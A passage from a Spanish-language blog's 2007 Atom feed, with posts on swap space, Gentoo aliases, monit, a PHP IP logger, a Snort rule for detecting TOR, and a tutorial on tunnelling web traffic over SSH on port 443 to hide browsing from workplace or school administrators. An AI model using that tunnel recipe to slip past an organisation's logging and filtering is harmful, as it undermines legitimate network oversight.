/&gt;&lt;br /&gt;&lt;i&gt;Dentro de 15 dias te paso otra version mas eficiente, si quieres los .java vienen dentro de JAR. Desde el directorio java\jdk-&amp;gt; jar xf BJBTBeta.jar &lt;br /&gt;&lt;br /&gt;Saludos&lt;br /&gt;chanchi&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Muchas gracias chanchi por permitirme poner tu cliente de BitTorrent y asi elevar el nivel de mi blog personal.&lt;br /&gt;&lt;br /&gt;Seguimos en contacto amigo.&lt;br /&gt;&lt;br /&gt;Os podeis bajar el .JAR de aqui: &lt;a href="http://www.filefactory.com/file/683c16/"&gt;&lt;b&gt;BJBTBeta.jar&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-3324607851267776632?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=3324607851267776632' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3324607851267776632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3324607851267776632'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2007/11/bit-torrenet-011-por-mi-amigo-chanchi.html' title='Bit Torrenet 0.1.1 Por mi amigo chanchi'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8602682594627714866</id><published>2007-10-24T17:35:00.002+02:00</published><updated>2010-08-14T23:44:54.369+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><title type='text'>¿Es necesario el espacio swap si tenemos mucha RAM?</title><content type='html'>Un comentario hecho por &lt;b&gt;Anonimo&lt;/b&gt; en mi entrada &lt;b&gt;Ampliar tamaño swap (II)&lt;/b&gt; me ha hecho escribir este post.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Anonimo&lt;/b&gt; me comentaba que habia leido que no era necesaria una particion swap si disponemos de 2 GB de RAM, a lo que yo le conteste lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Todo depende del uso que vayas a hacer de la maquina. Yo he "jugado" con varias distros de linux sin swap con 768MB de RAM, y no he tenido ningun problema.&lt;br /&gt;&lt;br /&gt;De hecho, hasta donde yo se, todas las live-CD funcionan sin swap.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Pues bien, a mi se me ocurre al menos un caso en el que nos interese tener swap aunque dispongamos de 2GB de RAM.&lt;br /&gt;&lt;br /&gt;Si no tienes espacio swap, y digo espacio y no particion, pues la swap puede residir en un archivo, no podras hibernar el sistema.&lt;br /&gt;&lt;br /&gt;Con hibernar me refiero a suspender a disco, no solo suspender a secas. Suspender a disco supone grabar en el disco la imagen de la memoria, y apagar todos los elementos del ordenador, por lo que en gasto de energia es igual que si lo apagases, no gasta nada. Suspender, a secas, lo que hace es suspender a ram, y eso si que gasta energía, aunque poca, siendo algo mas lento que un reinicio. &lt;br /&gt;&lt;br /&gt;Casi todos los portátiles suspenden bien a ram con Linux, y algunos lo hacen a disco, aunque haya que hacer algun hack.&lt;br /&gt;&lt;br /&gt;Si no parcheamos el kernel y lo recompilamos, hoy por hoy solo se puede hibernar (suspender a disco) con una partición swap, usando swsusp, de serie en todos los kernel &gt; 2.6. Si lo parcheamos usando suspend2, que es una version mas evolucionada podremos suspender a disco en un archivo, y muchas otras cosas como cifrado, compresion de la imagen guardada...&lt;br /&gt;&lt;br /&gt;De hecho existe un paquete por ahi, llamado &lt;b&gt;dphys-swapfile&lt;/b&gt; que contiene un script que lo que hace es crear y activar un archivo swap al arrancar, de un tamaño apropiado para nuestro sistema. La ventaja de que se cree dinamicamente es que la swap sera automaticamente cambiada de tamaño si aumentamos la RAM del equipo, sin necesidad de que nos acordemos de hacerlo manualmente.&lt;br /&gt;&lt;br /&gt;Asi que, aunque tengamos 2GB de RAM puede seguir interesandonos tener swap, bien en una particion, bien en un archivo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8602682594627714866?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8602682594627714866' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8602682594627714866'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8602682594627714866'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2007/10/es-necesario-el-espacio-swap-si-tenemos.html' title='¿Es necesario el espacio swap si tenemos mucha RAM?'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-2075718732490319844</id><published>2007-10-22T10:20:00.005+02:00</published><updated>2011-11-21T10:49:53.488+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Navegar anonimamente desde tu trabajo o centro de estudios</title><content type='html'>Cualquier administrador decente tendra implementado un sistema de logs para saber que paginas visita cada usuario. Si no quieres que desde tu trabajo o universidad o instituto sepan que paginas visitas, o si quieres acceder a webs sin restricciones, puede que con este hack puedas burlar los controles del administrador.&lt;br /&gt;&lt;br /&gt;Primero necesitaras la IP publica de tu casa y de tu trabajo/facultad. Ve a &lt;a href="http://www.whatismyip.com"&gt;&lt;b&gt;http://www.whatismyip.com&lt;/b&gt;&lt;/a&gt; y apunta esas 2 IPs.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;En tu casa&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Instala &lt;a href="http://httpd.apache.org/download.cgi"&gt;&lt;b&gt;Apache&lt;/b&gt;&lt;/a&gt; desde esta pagina si usas windows.&lt;br /&gt;&lt;br /&gt;Si usas Gentoo Linux o Debian-like GNU/Linux instala Apache asi:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;emerge apache2&lt;br /&gt;apt-get install apache2&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;respectivamente.&lt;br /&gt;&lt;br /&gt;Instala &lt;b&gt;OpenSSH&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Si usas Windows, ve a &lt;a href="http://sshwindows.sourceforge.net/"&gt;&lt;b&gt;http://sshwindows.sourceforge.net/&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Si usas Gentoo Linux o Debian-like GNU/Linux:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;emerge openssh&lt;br /&gt;apt-get install openssh&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Pasemos a configurar Apache y OpenSSH:&lt;br /&gt;&lt;br /&gt;Apache. Edita el &lt;b&gt;httpd.conf&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;Quita el comentario &lt;b&gt;#&lt;/b&gt; a las lineas:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;LoadModule proxy_module modules/mod_proxy.so&lt;br /&gt;LoadModule proxy_connect_module modules/mod_proxy_connect.so&lt;br /&gt;LoadModule proxy_http_module modules/mod_proxy_http.so&lt;br /&gt;LoadModule proxy_ftp_module modules/mod_proxy_ftp.so&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Cambia la linea&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;Listen 80&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;por&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;Listen 8080&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Luego para que solo tu puedas usar tu proxy, busca la seccion&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;# &lt;br /&gt;# Controls who can get stuff from this server. &lt;br /&gt;# &lt;br /&gt;Order allow,deny &lt;br /&gt;Allow from all&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;y cambiala por&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;# &lt;br /&gt;# Controls who can get stuff from this server. &lt;br /&gt;# &lt;br /&gt;Order deny,allow &lt;br /&gt;Deny from all &lt;br /&gt;Allow from 127.0.0.1&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Por ultimo en la seccion de &lt;b&gt;VirtualHost&lt;/b&gt; añade lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&amp;lt;IfModule mod_proxy.c&amp;gt;&lt;br /&gt;  &lt;br /&gt;ProxyRequests On&lt;br /&gt;  &lt;br /&gt;&amp;lt;Proxy *&amp;gt;&lt;br /&gt;Order deny,allow&lt;br /&gt;Deny from all&lt;br /&gt;Allow from 127.0.0.1&lt;br /&gt;&amp;lt;/Proxy&amp;gt;&lt;br /&gt;&lt;br /&gt;# If you plan to use mIRC, uncomment the following line &lt;br /&gt;#AllowCONNECT 6666 6667 6668 &lt;br /&gt;  &lt;br /&gt;&amp;lt;/IfModule&amp;gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;OpenSSH:&lt;br /&gt;&lt;br /&gt;Tanto en Windows como en Linux cambiaremos el puerto por defecto 22 por el 443. Esto lo haremos porque el administrador puede haber filtrado y prohibido el puerto 22, pero no el 443, que es el usado para conexiones https.&lt;br /&gt;&lt;br /&gt;En Windows cambia en el archivo &lt;b&gt;etc\sshd_config&lt;/b&gt; a partir de donde tengas instalado OpenSSH:&lt;br /&gt;&lt;br /&gt;la linea&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;#Port 22&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;por&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;Port 443&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;En UNIX/Linux, lo mismo pero teniendo en cuenta que el archivo de configuracion cuelga de /etc&lt;br /&gt;&lt;br /&gt;En Windows aun tenemos que ir al directorio &lt;b&gt;bin&lt;/b&gt; desde donde tengamos instalado OpenSSH y ejecutar estos comandos:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;mkgroup -l &gt; ..\etc\group &lt;br /&gt;mkpasswd -l &gt; ..\etc\passwd&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Con esto crearemos user/pass en etc&lt;br /&gt;&lt;br /&gt;Para iniciar los servicios en Windows:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;net start opensshd &lt;br /&gt;net stop apache2.2&lt;br /&gt;net start apache2.2&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Si queremos que ambos servicios se ejecuten al inicio, ejecutaremos &lt;b&gt;services.msc&lt;/b&gt; y los configuraremos en Automatico.&lt;br /&gt;&lt;br /&gt;Para iniciar los servicios en Linux:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;/etc/init.d/openssh restart&lt;br /&gt;/etc/init.d/apache2 restart&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Para añadirlos al inicio en Gentoo Linux:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;rc-update add openssh default&lt;br /&gt;rc-update add apache2 default&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;En otros UNIX/Linux, configurar /etc/rc.d&lt;br /&gt;&lt;br /&gt;En el router redirigir el puerto 443 con NAT+PAT a la IP del equipo de casa puerto 443.&lt;br /&gt;&lt;br /&gt;Ya tenemos configurado nuestro equipo de casa. Ahora &lt;b&gt;&lt;u&gt;en el trabajo&lt;/u&gt;&lt;/b&gt; necesitaremos el Putty si usamos Windows:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;putty -L 80:127.0.0.1:8080 -ssh IP_Casa -P 443&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Con esto habremos creado un tunel SSH entre el ordenador del trabajo y el de casa.&lt;br /&gt;&lt;br /&gt;Si no tienes privilegios para guardar el putty en el disco duro, llevalo en un diskette o en un CD. Es solo un ejecutable que no necesita instalacion.&lt;br /&gt;&lt;br /&gt;Solo nos falta decirle al navegador que use como proxy &lt;b&gt;127.0.0.1 puerto 80&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;El hack funcionara asi:&lt;br /&gt;&lt;br /&gt;En el trabajo pedimos una pagina web. Nos conectaremos por el tunel SSH al router de nuestra casa. El router de nuestra casa redirigira la peticion a nuestro ordenador de la LAN de casa al puerto 443, donde tenemos a OpenSSH escuchando. OpenSSH redirige la peticion al servidor Apache del ordenador de casa. Apache pide la pagina web. Sale la peticion por nuestro router de casa. Nuestro router de casa devuelve la peticion al servidor Apache que corre en nuestro ordenador de casa. Apache pasa la peticion al servidor OpenSSH de nuestro ordenador de casa. Este manda la peticion a nuestro ordenador del trabajo a traves de nuestro router de casa. Nuestro ordenador del trabajo recibe la peticion y el navegador de nuestro ordenador del trabajo nos muestra la pagina.&lt;br /&gt;&lt;br /&gt;Y el administrador cuando vea los logs no sabra que paginas hemos visitado, solo podra ver que hemos hecho peticiones a un puerto 443, y todo el contenido le saldra cifrado, por lo que no entendera nada.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2075718732490319844?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=2075718732490319844' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2075718732490319844'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2075718732490319844'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2007/10/navegar-anonimamente-desde-tu-trabajo-o.html' title='Navegar anonimamente desde tu trabajo o centro de estudios'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8073859881999863067</id><published>2007-10-11T11:00:00.001+02:00</published><updated>2010-01-31T13:39:55.369+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Obteniendo datos de un visitante y guardarlos en un archivo de texto</title><content type='html'>Mucha gente cree que para guardar logs de nuestros visitantes necesitamos tener alojada nuestra pagina en un servidor web como Apache, bien en nuestro equipo o en un servidor dedicado en el que tengamos acceso de root al servidor web para modificar la configuracion. Esta claro que asi tenemos muchas mas posibilidades, pero podemos implementar facilmente en &lt;b&gt;PHP&lt;/b&gt; un sistema de logs sencillo.&lt;br /&gt;&lt;br /&gt;Por ejemplo, para guardar las IPs publicas de nuestros visitantes en el archivo &lt;b&gt;ip.txt&lt;/b&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;?php&lt;br /&gt;if(getenv(HTTP_X_FORWARDED_FOR)) {&lt;br /&gt;$ip = getenv(HTTP_X_FORWARDED_FOR); }&lt;br /&gt;elseif(getenv(HTTP_CLIENT_IP)) {&lt;br /&gt;$ip = getenv(HTTP_CLIENT_IP); }&lt;br /&gt;else { $ip = $REMOTE_ADDR; }&lt;br /&gt;$txt = @fopen("ip.txt", "a");&lt;br /&gt;fputs($txt, " IP:".$ip);&lt;br /&gt;fclose($txt);&lt;br /&gt;echo "Tu IP publica es: $ip";&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;No tiene ningun misterio.&lt;br /&gt;&lt;br /&gt;Con &lt;b&gt;$txt = @fopen("ip.txt", "a");&lt;/b&gt; abrimos en modo &lt;b&gt;append&lt;/b&gt; el archivo &lt;b&gt;ip.txt&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Con &lt;b&gt;fputs($txt, " IP:".$ip);&lt;/b&gt; añadimos la IP a ese archivo de texto.&lt;br /&gt;&lt;br /&gt;Con &lt;b&gt;fclose($txt);&lt;/b&gt; cerramos ese archivo de texto.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8073859881999863067?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8073859881999863067' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8073859881999863067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8073859881999863067'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2007/10/obteniendo-datos-de-un-visitante-y.html' title='Obteniendo datos de un visitante y guardarlos en un archivo de texto'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-2768421414479594477</id><published>2007-10-04T16:53:00.002+02:00</published><updated>2010-08-15T03:51:15.451+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><title type='text'>Algunos hacks que tengo en mi Gentoo para ahorrar tecleos y demas</title><content type='html'>*Odio escribir continuamente &lt;b&gt;/etc/init.d/...&lt;/b&gt; asi que en mi &lt;b&gt;.bashrc&lt;/b&gt; tengo el siguiente alias:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;for service in `cd /etc/init.d/; ls`&lt;br /&gt;do&lt;br /&gt;alias "rc${service}"="/etc/init.d/${service}"&lt;br /&gt;done&lt;/pre&gt;&lt;br /&gt;*Odio escribir siempre &lt;b&gt;nano -w archivo.txt&lt;/b&gt; y quiero tener un &lt;b&gt;TAB&lt;/b&gt; de tamaño &lt;b&gt;4&lt;/b&gt;asi que en &lt;b&gt;/etc/nanorc&lt;/b&gt; tengo:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;set nowrap&lt;br /&gt;set tabsize 4&lt;/pre&gt;&lt;br /&gt;*Para usar emerge:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;alias akmerge="ACCEPT_KEYWORDS='~x86' /usr/bin/sudo /usr/bin/emerge -pv"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;*¿Cuantas veces has creado un directorio y el siguiente comando ha sido para entrar en el? Para hacer las 2 cosas en 1 comando:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;md () {&lt;br /&gt;mkdir -p $1 &amp;&amp; cd $1&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;*Capturar pantalla en &lt;b&gt;fluxbox&lt;/b&gt; con la tecla &lt;b&gt;Impr Pant&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;Editar &lt;b&gt;~/.fluxbox/keys&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;None F15 :execCommand import -w root ~/`date +%Y%m%d%H%M`.png&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Y tendras un archivo &lt;b&gt;PNG&lt;/b&gt; en formato &lt;b&gt;YYYYMMDDHHmm.PNG&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;*Un hack poco conocido (opcion indocumentada en la pagina de manual). Si quieres copiar archivos con el progreso de copia:&lt;br /&gt;&lt;pre class="brush: bash"&gt;cp -g&lt;/pre&gt;&lt;br /&gt;Al parecer solo funciona en gentoo.&lt;br /&gt;&lt;br /&gt;*¿Estas harto del beep de tu maquina cuando usas el TAB-completion?&lt;br /&gt;&lt;pre class="brush: bash"&gt;xset b off&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2768421414479594477?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=2768421414479594477' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2768421414479594477'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2768421414479594477'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2007/10/algunos-hacks-que-tengo-en-mi-gentoo.html' title='Algunos hacks que tengo en mi Gentoo para ahorrar tecleos y demas'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-4290834190566981855</id><published>2007-10-04T10:06:00.004+02:00</published><updated>2010-08-15T03:54:25.393+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='monitorizacion'/><title type='text'>Monitorizacion de sistemas UNIX con monit</title><content type='html'>&lt;b&gt;monit&lt;/b&gt; es un potente software de monitorizacion de sistemas UNIX. La pagina oficial del proyecto es &lt;a href="http://www.tildeslash.com/monit/"&gt;&lt;b&gt;http://www.tildeslash.com/monit/&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Esta en el Portage de Gentoo.&lt;br /&gt;&lt;br /&gt;Como ejemplo voy a mostrar un archivo de configuracion &lt;b&gt;/etc/monitrc&lt;/b&gt; , con alertas por mail, monitorizacion en mi caso de Squid, etc.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;#Start monit in background (run as daemon) and check the services at 2-minute intervals.&lt;br /&gt;set daemon  120&lt;br /&gt;&lt;br /&gt;#Set syslog logging with the 'daemon' facility&lt;br /&gt;set logfile syslog facility log_daemon&lt;br /&gt;&lt;br /&gt;#Set list of mailservers for alert delivery&lt;br /&gt;set mailserver nuestro.servidor.sendmail&lt;br /&gt;&lt;br /&gt;set eventqueue #si el servidor de correo esta caido...&lt;br /&gt;basedir /var/monit #...los eventos se guardan aqui...&lt;br /&gt;slots 1000 #...con este tamaño de cola&lt;br /&gt;&lt;br /&gt;#configuramos el remitente&lt;br /&gt;set mail-format { from: operador@nuestro.cliente.es }&lt;br /&gt;&lt;br /&gt;#configuramos el/los destinatario/s&lt;br /&gt;set alert sistemas@nosotros.com with reminder on 10 cycles&lt;br /&gt;&lt;br /&gt;#Monitorizamos el Squid&lt;br /&gt;#si se cae, que se inicie&lt;br /&gt;check process squid with pidfile /var/run/squid.pid&lt;br /&gt;start program = "/etc/rc.d/init.d/squid start"&lt;br /&gt;stop program = "/etc/rc.d/init.d/squid stop"&lt;br /&gt;#si cpu&gt;60% por 2 ciclos, que avise&lt;br /&gt;if cpu &gt; 60% for 2 cycles then alert&lt;br /&gt;#si cpu&gt;80% por 5 ciclos, que reinicie&lt;br /&gt;if cpu &gt; 80% for 5 cycles then restart&lt;br /&gt;#si totalmen&gt;32.0 MB por 5 ciclos, que reinicie&lt;br /&gt;if totalmem &gt; 32.0 MB for 5 cycles then restart&lt;br /&gt;&lt;br /&gt;#Si el espacio en disco usado por Squid supera el 90%, que avise&lt;br /&gt;check device raiz_y_cache_squid with path /dev/md0&lt;br /&gt;if space usage &gt; 90% then alert&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Con este ejemplo creo que se ven mas o menos las enormes posibilidades de &lt;b&gt;monit&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Un punto a aclarar es que si queremos hacer modificaciones de daemons monitorizados con &lt;b&gt;monit&lt;/b&gt;, primero tenemos que bajar temporalmente el monit con&lt;br /&gt;&lt;pre class="brush: bash"&gt;service rc.monit stop&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;luego hacer las modificaciones en los daemons monitorizados que queramos modificar&lt;br /&gt;&lt;br /&gt;y por ultimo volver a levantar el &lt;b&gt;monit&lt;/b&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;service rc.monit start&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Esto es asi porque si &lt;b&gt;monit&lt;/b&gt; detecta que bajamos un daemon, automaticamente lo levantara, y nosotros no queremos eso.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4290834190566981855?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=4290834190566981855' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4290834190566981855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4290834190566981855'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2007/10/monitorizacion-de-sistemas-unix-con.html' title='Monitorizacion de sistemas UNIX con monit'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-3795370952520066326</id><published>2007-10-03T17:50:00.003+02:00</published><updated>2011-11-21T10:51:30.508+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='snort'/><category scheme='http://www.blogger.com/atom/ns#' term='tor'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Detectando el uso de TOR en nuestra red</title><content type='html'>TOR usa SSL. SSL usa certificados firmados. TOR firma los certificados distribuidos a los clientes TOR.&lt;br /&gt;&lt;br /&gt;Jugando con Ethereal podemos llegar a la conclusion de que este filtro:&lt;br /&gt;&lt;pre class="brush: plain"&gt;x509sat.DirectoryString == "TOR"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;funciona bien detectando la negociacion SSL de TOR&lt;br /&gt;&lt;br /&gt;A partir de esto podemos crear una firma de Snort tal que asi:&lt;br /&gt;&lt;pre class="brush: plain"&gt;alert tcp $HOME_NET any -&gt; any any (msg:"TOR_detected"; content:"|06 03 55 04 0a 13 03 54 4f 52|"; sid:9996; priority:3;)&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-3795370952520066326?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=3795370952520066326' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3795370952520066326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/3795370952520066326'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2007/10/detectando-el-uso-de-tor-en-nuestra-red.html' title='Detectando el uso de TOR en nuestra red'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-5115277605638374368</id><published>2007-10-03T17:36:00.002+02:00</published><updated>2011-11-21T10:51:03.276+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Javascript para detectar el uso de Privoxy</title><content type='html'>&lt;pre class="brush: 